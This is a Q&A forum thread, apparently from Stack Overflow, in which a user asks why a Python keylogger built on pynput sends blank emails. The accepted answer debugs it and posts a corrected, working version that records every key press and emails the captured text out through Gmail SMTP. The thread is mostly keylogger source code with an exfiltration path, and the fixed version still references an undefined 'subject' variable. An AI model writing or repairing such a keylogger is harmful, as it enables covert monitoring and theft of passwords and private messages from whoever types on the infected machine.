Trying to log keystrokes and send them to my email but getting a blank email instead

Question

This code is supposed to log my keystrokes and send them to my email (which I took out of the code for now). I do get the emails however it doesn't send them with the keystrokes, every email is blank. Does anyone know how to fix this?

import smtplib
import pynput
from pynput.keyboard import Key, Listener

email = ""
password = ""
server = smtplib.SMTP_SSL("smtp.gmail.com", 465)
server.login(email, password)

full_log = ""
word = ""
email_char_limit = 10


def on_press(key):
    global word
    global full_log
    global email
    global email_char_limit

    if key == Key.space or key == Key.enter:
        word += " "
        full_log += word
        word = ""
        if len(full_log) >= email_char_limit:
            send_log()
            full_log = ""
    elif key == Key.shift or Key.shift_r:
        return
    elif key == Key.backspace:
        word = word[:-1]
    else:
        char: f"{key}"
        char = char[1:-1]
        word += char

    if key == Key.esc:
        return False


def send_log():
    server.sendmail(
        email,
        email,
        full_log
    )


with Listener(on_press=on_press) as listener:
    listener.join()

Pro Chess · Accepted Answer · 2021-01-19T15:42:15.457

I just made a few changes and got it working. There was an issue with your full_log variable. There was a mistake in the conditioning part of the first elif statement where your condition should be key == Key.shift or key == Key.shift_r. There was a mistake with char: f"{key}". It should be char = f"{key}". Two other important statements you forgot were

full_log += word
word = ""

Those lines need to be included at the end so the words are concatenated to the full_log variable. Other than that every thing works fine now.

Below is the corrected version of your code.

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import pynput
from pynput.keyboard import Key, Listener

full_log = ""
word = ""
email_char_limit = 10


def send_log(log):
    print(log)
    
    email_user = 'from mail address here'
    email_password = 'password'
    email_send = 'to mail address here'

    msg = MIMEMultipart()
    msg['From'] = email_user
    msg['To'] = email_send
    msg['Subject'] = subject

    body = log
    msg.attach(MIMEText(body, 'plain'))

    text = msg.as_string()
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login(email_user, email_password)

    server.sendmail(email_user, email_send, text)
    server.quit()


def on_press(key):
    global word
    global full_log
    global email
    global email_char_limit

    if key == Key.space or key == Key.enter:
        word += " "
        full_log += word
        word = ""
        if len(full_log) >= email_char_limit:
            send_log(full_log)
            full_log = ""
    elif key == Key.shift or key == Key.shift_r:
        return None
    elif key == Key.backspace:
        word = word[:-1]
    else:
        char = f"{key}"
        char = char[1:-1]
        word += char

    full_log += word
    word = ""

    if key == Key.esc:
        return False

    #print(full_log)


with Listener(on_press=on_press) as listener:
    listener.join()

This works if I want to print the keystrokes but not if I am trying to email them to myself which is what I am trying to do — CarsonKirshner, Jan 19 '21 at 15:26
@CarsonKirshner with the code that you tried earlier I was not even able to print the `full_log` variable because you did not use `full_log += word`. And that is the reason why your mail was blank. Did you try to append your code for sending the email into the `send_log` function? — Pro Chess, Jan 19 '21 at 15:27
I edited my answer and included the code to send the captured keystrokes to a Gmail account. That is why I am using port `587`. Make sure to change your login credentials. In this case python tries to logon to your Gmail account. So you need to `Turn on access to less secured apps in your Google account settings`. Check that thread if you get a SMTP Authentication Error - https://stackoverflow.com/questions/26852128/smtpauthenticationerror-when-sending-mail-using-gmail-and-python — Pro Chess, Jan 19 '21 at 15:46

Trying to log keystrokes and send them to my email but getting a blank email instead

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